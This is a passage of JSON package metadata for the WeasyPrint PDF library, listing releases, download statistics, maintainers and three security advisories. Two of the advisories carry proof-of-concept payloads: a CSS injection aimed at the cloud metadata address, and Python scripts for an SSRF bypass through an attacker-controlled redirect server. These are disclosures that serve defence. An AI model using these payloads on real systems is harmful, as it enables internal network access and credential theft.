.1","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.3.1/manifests"},{"name":"v0.3","sha":"fbedafadd6911a6ffc9095ec904178e526d5c48e","kind":"commit","published_at":"2011-12-13T11:54:11.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.3","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.3/manifests"},{"name":"v0.2.2","sha":"d4165fca3b3cccd8971d630a047d26388375a6d1","kind":"commit","published_at":"2011-11-29T11:54:29.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.2.2","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.2.2/manifests"},{"name":"v0.2.1","sha":"a7aa70d9934b908156c9477b653d79b3eec4d650","kind":"commit","published_at":"2011-11-25T17:14:40.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.2.1","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.2.1/manifests"},{"name":"v0.2","sha":"0cd5c8c19dc1663010de958682bd267ac87d057a","kind":"commit","published_at":"2011-11-25T16:25:55.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.2","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.2/manifests"},{"name":"v0.1","sha":"65dbaa2e8b71dbfe1970a7ca378b682864760cba","kind":"commit","published_at":"2011-10-28T15:41:24.000Z","download_url":"https://codeload.github.com/Kozea/WeasyPrint/tar.gz/v0.1","html_url":"https://github.com/Kozea/WeasyPrint/releases/tag/v0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Kozea/WeasyPrint@v0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/tags/v0.1/manifests"}]},"repo_metadata_updated_at":"2026-08-29T23:08:04.128Z","dependent_packages_count":114,"downloads":36197363,"downloads_period":"last-month","dependent_repos_count":1344,"rankings":{"downloads":0.3068234006585954,"dependent_repos_count":0.31483598628089,"dependent_packages_count":0.23784814851730895,"stargazers_count":0.36916522537839924,"forks_count":1.9843852294824067,"docker_downloads_count":0.5442695355631774,"average":0.626221254313463},"purl":"pkg:pypi/weasyprint","advisories":[{"uuid":"GSA_kwCzR0hTQS1qaGhjLTNoY3AtcWhtNc4ABaNe","url":"https://github.com/advisories/GHSA-jhhc-3hcp-qhm5","title":"WeasyPrint has CSS Injection via Presentational Hints","description":"### Summary\nA CSS injection issue exists in WeasyPrint when HTML presentational hints are enabled. Unescaped attribute values are embedded into CSS, allowing injection of arbitrary CSS declarations. This affects applications processing untrusted HTML input.\n\n### Details\nFile: weasyprint/css/__init__.py\n\nThe `background` attribute is used to construct CSS:\n\nbackground-image:url({element.get(\"background\")})\n\nThis string is parsed by `tinycss2.parse_blocks_contents()`.\n\nBecause the value is not escaped, additional CSS declarations can be injected.\n\n### PoC\n\u003cbody background=\"x);background-image:url(http://169.254.169.254/latest/meta-data/)\"\u003e\n\n### Impact\n- CSS injection\n- Server-side requests via injected `url()`\n- Limited to cases where `presentational_hints=True`\n\n### Suggested Fix\n- Escape attribute values before embedding into CSS\n- Restrict allowed values for presentational hints\n[VULN-05_css_injection_presentational_hints.md](https://github.com/user-attachments/files/26370718/VULN-05_css_injection_presentational_hints.md)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-06T17:29:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","references":["https://github.com/Kozea/WeasyPrint/security/advisories/GHSA-jhhc-3hcp-qhm5","https://github.com/advisories/GHSA-jhhc-3hcp-qhm5"],"source_kind":"github","identifiers":["GHSA-jhhc-3hcp-qhm5","CVE-2026-49452"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-06T18:00:08.752Z","updated_at":"2026-08-28T13:01:09.230Z","epss_percentage":0.00273,"epss_percentile":0.19156,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qaGhjLTNoY3AtcWhtNc4ABaNe","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qaGhjLTNoY3AtcWhtNc4ABaNe","packages":[{"ecosystem":"pypi","package_name":"weasyprint","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 68.1"}],"purl":"pkg:pypi/weasyprint"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qaGhjLTNoY3AtcWhtNc4ABaNe/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05ODN3LXJodnYtZ3dtds4ABRR8","url":"https://github.com/advisories/GHSA-983w-rhvv-gwmv","title":"WeasyPrint has a Server-Side Request Forgery (SSRF) Protection Bypass via HTTP Redirect","description":"### Summary\n\nA **Server-Side Request Forgery (SSRF) Protection Bypass** exists in WeasyPrint's `default_url_fetcher`. The vulnerability allows attackers to access internal network resources (such as `localhost` services or cloud metadata endpoints) even when a developer has implemented a custom `url_fetcher` to block such access. This occurs because the underlying `urllib` library follows HTTP redirects automatically without re-validating the new destination against the developer's security policy.\n\n### Details\n\nThe default URL fetching mechanism in WeasyPrint (default_url_fetcher in weasyprint/urls.py) is vulnerable to a Server-Side Request Forgery (SSRF) Protection Bypass.\n\nWhile WeasyPrint allows developers to define custom url_fetcher functions to validate or sanitize URLs before fetching (e.g., blocking internal IP addresses or specific ports), the underlying implementation uses Python's standard urllib.request.urlopen. By default, urllib automatically follows HTTP redirects (status codes 301, 302, 307, etc.) without returning control to the developer's validation logic for the new target URL.\n\nThis behavior creates a Time-of-Check to Time-of-Use (TOCTOU) vulnerability. An attacker can provide a URL that passes the developer's allowlist/blocklist (the Check) but immediately redirects to a blocked internal resource (the Use).\n\n### PoC\n\nTo reproduce this vulnerability, use the following setup. This scenario simulates a developer attempting to blacklist access to internal hostnames (e.g., `localhost`).\n\n**1. victim.py (Internal Service - Port 5000)**\nSimulates a sensitive internal service running on localhost.\n\n```python\nfrom flask import Flask\napp = Flask(__name__)\n\n@app.route('/secret')\ndef secret():\n    return \"CRITICAL_INTERNAL_DATA\"\n\nif __name__ == '__main__':\n    # Listens on localhost:5000\n    app.run(port=5000)\n```\n\n**2. attacker.py (External Redirector - Port 1337)**\nSimulates an external server. It accepts a request and redirects it to the blocked hostname (`localhost`).\n\n```python\nfrom flask import Flask, redirect\napp = Flask(__name__)\n\n@app.route('/image.png')\ndef malicious():\n    # The vulnerability: Redirects to the BLOCKED hostname\n    return redirect(\"http://localhost:5000/secret\", code=302)\n\nif __name__ == '__main__':\n    app.run(port=1337)\n```\n\n**3. exploit.py (Vulnerable Implementation)**\nSimulates the application with a security filter intended to block access to \"localhost\".\n\n```python\nfrom weasyprint import HTML, default_url_fetcher\nimport logging\n\n# Security Filter: Intended to block internal hostnames\ndef secure_fetcher(url):\n    # Simulates a blacklist for 'localhost'\n    if \"localhost\" in url:\n        raise PermissionError(f\"Security Block: Access to {url} denied.\")\n    \n    print(f\"[ALLOWED] Initial URL check passed for: {url}\")\n    return default_url_fetcher(url)\n\n# EXPLOIT LOGIC:\n# 1. We access the attacker via '127.0.0.1' (or an external IP). \n#    The string \"127.0.0.1\" passes the check because it is not \"localhost\".\n# 2. The attacker redirects to \"http://localhost:5000/...\".\n# 3. urllib follows the redirect to 'localhost' without re-triggering secure_fetcher.\n\ntry:\n    # Use 127.0.0.1 to bypass the string check for 'localhost'\n    html_content = '\u003clink rel=\"attachment\" href=\"http://54.234.88.160:1337/image.png\"\u003e'\n    \n    doc = HTML(string=html_content, url_fetcher=secure_fetcher)\n    doc.write_pdf(\"exploit.pdf\")\n    \n    print(\"Exploit successful. The 'localhost' block was bypassed via redirect.\")\n    print(\"Check exploit.pdf for 'CRITICAL_INTERNAL_DATA'.\")\nexcept Exception as e:\n    print(f\"Exploit failed: {e}\")\n```\n**4. Attacker read attachment in PDF**\n```\n➜ pdfdetach -list resultado_exploit.pdf\n1 embedded files\n1: secret\n➜ pdfdetach -saveall resultado_exploit.pdf\n➜ cat secret\nCRITICAL_INTERNAL_DATA\n```\n**Evidence**\n\u003cimg width=\"1514\" height=\"436\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f7881694-be4d-4c63-8bca-2b220e4c87f9\" /\u003e\n\n### Impact\n\nThis vulnerability impacts any application or SaaS platform using WeasyPrint to render user-supplied HTML/CSS that attempts to restrict external resource loading.\n\n  * **Internal Network Reconnaissance:** Attackers can bypass firewalls or allowlists to scan and access internal services (e.g., Redis, ElasticSearch, Admin Panels) running on the loopback interface or local network.\n  * **Cloud Metadata Exfiltration:** In cloud environments, attackers can redirect requests to metadata services (e.g., `http://169.254.169.254`) to steal instance credentials and escalate privileges.\n  * **Security Control Bypass:** It renders the `url_fetcher` security validation logic ineffective against sophisticated attacks, creating a false sense of security for developers.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-01-20T16:29:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/Kozea/WeasyPrint/security/advisories/GHSA-983w-rhvv-gwmv","https://nvd.nist.gov/vuln/detail/CVE-2025-68616","https://github.com/Kozea/WeasyPrint/commit/b6a14f0f3f4ce9c0c75c1a2d73cb1c5d43f0e565","https://access.redhat.com/security/cve/CVE-2025-68616","https://bugzilla.redhat.com/show_bug.cgi?id=2430858","https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-68616.json","https://github.com/advisories/GHSA-983w-rhvv-gwmv"],"source_kind":"github","identifiers":["GHSA-983w-rhvv-gwmv","CVE-2025-68616"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-01-20T17:00:07.978Z","updated_at":"2026-09-03T07:04:29.622Z","epss_percentage":0.00652,"epss_percentile":0.48718,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05ODN3LXJodnYtZ3dtds4ABRR8","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05ODN3LXJodnYtZ3dtds4ABRR8","packages":[{"ecosystem":"pypi","package_name":"weasyprint","versions":[{"first_patched_version":"68.0","vulnerable_version_range":"\u003c 68.0"}],"purl":"pkg:pypi/weasyprint"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05ODN3LXJodnYtZ3dtds4ABRR8/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zNWpqLXd4NDctNHc4cs4AA52-","url":"https://github.com/advisories/GHSA-35jj-wx47-4w8r","title":"WeasyPrint allows the attachment of arbitrary files and URLs to a PDF","description":"### Impact\nSince version 61.0, there's a vulnerability which allows attaching content of arbitrary files and URLs to a generated PDF document, even if `url_fetcher` is configured to prevent access to files and URLs.\n\n### Patches\nFixed by 734ee8e that’s included in 61.2\n\n### Workarounds\n- Check that no PDF attachment is defined in source HTML.\n- Launch WeasyPrint in a sandbox that prevents access to the filesystem and the network.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-03-08T20:42:52.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L","references":["https://github.com/Kozea/WeasyPrint/security/advisories/GHSA-35jj-wx47-4w8r","https://github.com/Kozea/WeasyPrint/commit/734ee8e2dc84ff3090682f3abff056d0907c8598","https://nvd.nist.gov/vuln/detail/CVE-2024-28184","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZLQZMOEDY72TS43HDXOBVID2VYCTWIH6","https://github.com/advisories/GHSA-35jj-wx47-4w8r"],"source_kind":"github","identifiers":["GHSA-35jj-wx47-4w8r","CVE-2024-28184"],"repository_url":"https://github.com/Kozea/WeasyPrint","blast_radius":0.0,"created_at":"2024-03-08T21:04:41.123Z","updated_at":"2026-09-03T07:09:19.324Z","epss_percentage":0.00628,"epss_percentile":0.47674,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zNWpqLXd4NDctNHc4cs4AA52-","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zNWpqLXd4NDctNHc4cs4AA52-","packages":[{"ecosystem":"pypi","package_name":"weasyprint","versions":[{"first_patched_version":"61.2","vulnerable_version_range":"\u003e= 61.0, \u003c= 61.1"}],"purl":"pkg:pypi/weasyprint"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zNWpqLXd4NDctNHc4cs4AA52-/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/weasyprint","docker_dependents_count":102,"docker_downloads_count":15611855,"usage_url":"https://repos.ecosyste.ms/usage/pypi/weasyprint","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/weasyprint/dependencies","status":null,"funding_links":["https://opencollective.com/courtbouillon","https://patreon.com/kozea"],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-26T07:40:05.875Z","issues_count":713,"pull_requests_count":304,"avg_time_to_close_issue":18505847.17208413,"avg_time_to_close_pull_request":1932486.1901140683,"issues_closed_count":523,"pull_requests_closed_count":263,"pull_request_authors_count":84,"issue_authors_count":514,"avg_comments_per_issue":4.079943899018232,"avg_comments_per_pull_request":1.6710526315789473,"merged_pull_requests_count":205,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":35,"past_year_pull_requests_count":28,"past_year_avg_time_to_close_issue":2811164.8181818184,"past_year_avg_time_to_close_pull_request":1261371.5217391304,"past_year_issues_closed_count":22,"past_year_pull_requests_closed_count":23,"past_year_pull_request_authors_count":13,"past_year_issue_authors_count":32,"past_year_avg_comments_per_issue":2.5428571428571427,"past_year_avg_comments_per_pull_request":0.8928571428571429,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":14,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kozea%2FWeasyPrint/issues","maintainers":[{"login":"liZe","count":136,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/liZe"},{"login":"grewn0uille","count":12,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/grewn0uille"},{"login":"SimonSapin","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/SimonSapin"},{"login":"gentooboontoo","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/gentooboontoo"}],"active_maintainers":[{"login":"liZe","count":14,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/liZe"},{"login":"grewn0uille","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/grewn0uille"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/weasyprint/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/weasyprint/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/weasyprint/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/weasyprint/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/weasyprint/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/weasyprint/codemeta","maintainers":[{"uuid":"gentooboontoo","login":"gentooboontoo","name":null,"email":null,"url":null,"packages_count":25,"html_url":"https://pypi.org/user/gentooboontoo/","role":null,"created_at":"2022-12-15T05:28:00.849Z","updated_at":"2022-12-15T05:28:00.849Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/gentooboontoo/packages"},{"uuid":"liZe","login":"liZe","name":null,"email":null,"url":null,"packages_count":22,"html_url":"https://pypi.org/user/liZe/","role":null,"created_at":"2022-12-15T05:28:00.876Z","updated_at":"2022-12-15T05:28:00.876Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/liZe/packages"}]}